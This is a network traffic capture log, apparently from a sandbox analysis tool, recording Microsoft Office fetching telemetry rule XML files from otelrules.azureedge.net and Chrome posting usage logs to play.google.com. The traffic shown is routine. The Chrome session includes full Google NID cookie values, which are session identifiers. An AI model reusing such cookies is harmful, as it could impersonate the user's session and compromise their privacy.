2024-10-30 22:11:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-16849878b78g2m84h2v9sta29000000007ng000000002143 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-16849878b78z2wx67pvzz63kdg000000075000000000uhke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221128Z-16849878b78qfbkc5yywmsbg0c000000089g00000000gqf2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49780	142.250.185.174	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	922	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=IJ7Z-J3ooSaYKHqhiXAWJVj1lBuiux1G_uJDm0UzpZyOjMpbqHX3qaCnzGXCpKWjL5x57oH7G4z17sOZ6LY3uVQzpWSYTaF7trZQFpzdFihqc-MkGgvxAV4QuvVUsyrL8ra4ijIF8ULgatovX9tpB4ojwN3HLSrq8DTq_ixxVAKXRG9BeQ
2024-10-30 22:11:28 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 32 36 32 38 35 35 37 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730326285573",null,null,null,
2024-10-30 22:11:28 UTC	944	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=vbvIVWJb4yJxVo4H0SQQjnTfWQAMq6NZungyfTpYXd9ZkZ8WrryeJ3yemov-5bAtqYg_owx6LrUwvGe1qRdsIpw1PHfIj2Tu3VdeorWIaqI_ljiVdRxZ2S5gBoTX-PxNSe2l8lM4qZXy4kGZe4U28Q8gYlcoUvug3i9KDrn2aDST9l-A5nkBIjPpVw; expires=Thu, 01-May-2025 22:11:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 22:11:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 22:11:28 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 22:11:28 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 22:11:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 11245d39-601e-0070-68de-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221128Z-r197bdfb6b4cxj4bmw6ag8gees000000018g00000000gugv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221128Z-15b8d89586fqj7k5h9gbd8vs9800000009yg00000000013d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221128Z-17c5cb586f6f8m6jnehy0z65x400000007vg00000000hq0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221128Z-16849878b78p8hrf1se7fucxk800000009e000000000umzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:28 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:28 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6cea588d-401e-0015-2b7f-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221129Z-17c5cb586f6hn8cl90dxzu28kw00000008w00000000079x8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:29 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 258a372f-501e-0016-350b-2b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221129Z-15b8d89586fwzdd88qtcg4dr1800000000ug00000000a4fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:29 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
